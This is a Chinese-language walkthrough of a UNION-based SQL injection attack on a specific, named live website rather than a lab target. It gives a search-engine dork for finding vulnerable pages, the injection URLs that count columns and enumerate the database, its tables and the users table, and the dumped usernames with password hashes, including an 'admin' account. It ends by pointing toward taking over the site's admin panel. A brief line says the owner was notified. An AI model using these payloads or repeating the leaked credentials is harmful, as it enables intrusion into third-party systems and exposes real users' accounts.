通过成功地SQL注入,可能可以拿到目标数据库的全部信息!
首先要找到目标网址,以进行漏洞测试。
在google中搜索:inurl:news.php?id=2
任意点入一个网址:在网址后追加SQL语句,如果报错,则OK,可注入,如果未报错,无可注入漏洞或未找到。
比如,找到一个网址:http://www.calidus.ro/en/news.php?id=2
将此链接变成如下,去访问
http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1-- http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2-- http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3-- http://www.calidus.ro/en/news.php?id=2 UNION SELECT 1,2,3,4--前三个会提示如下信息:
Query failed: The used SELECT statements have a different number of columns
2 4
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,database()--
5.1.70-log caliduzb_calidussql以上,查出了数据库的版本和当前数据库名。
下面,查出数据库用户名。
http://www.calidus.ro/en/news.php?id=2%20UNION%20SELECT%201,version(),3,user()--
5.1.70-log caliduzb_calidus@localhost
由于此版本已经不支持password()函数,暂时无法查到密码。
下面的sql查出当前数据库中所有的表.
http://www.calidus.ro/en/news.php?id=2 union select1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database()--
2
about,about_de,about_en,categories,categories_de,categories_en, contact,contact_de,contact_en,customers,eco,eco_de,eco_en, faq,faq_de,faq_en,forum_answer,forum_question,galleries, gallery,gallery_de,gallery_en,gallery_images,imp,mission,mission_de, mission_en,news,news_de,news_en,pellets,pellets_de,pellets_en,prices, products,products_de,products_en,projects,projects_de,projects_en, special_offers,special_offers_de,special_offers_en,support,support_de, support_en,users,vizion,vizion_de,vizion_en
http://www.calidus.ro/en/news.php?id=2 union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name='users'--
user_id,user_type,user_regdate,username,user_password,user_email,user_lastvisit,user_last_confirm_key,user_new_privmsg,logcode,username_clean
下面就查一下用户名、密码。
http://www.calidus.ro/en/news.php?id=2 union select 1,username,3,user_password from users--
dexmod a0dbde9503e13437db0f854b0b72a73b admin 63a9f0ea7bb98050796b649e85481845 miladro 122f961db675f6a45b998594471a990b
到这里,去找网站的管理界面就可以管理网站了。(已经给网站联系邮箱发邮件告知sql注入漏洞)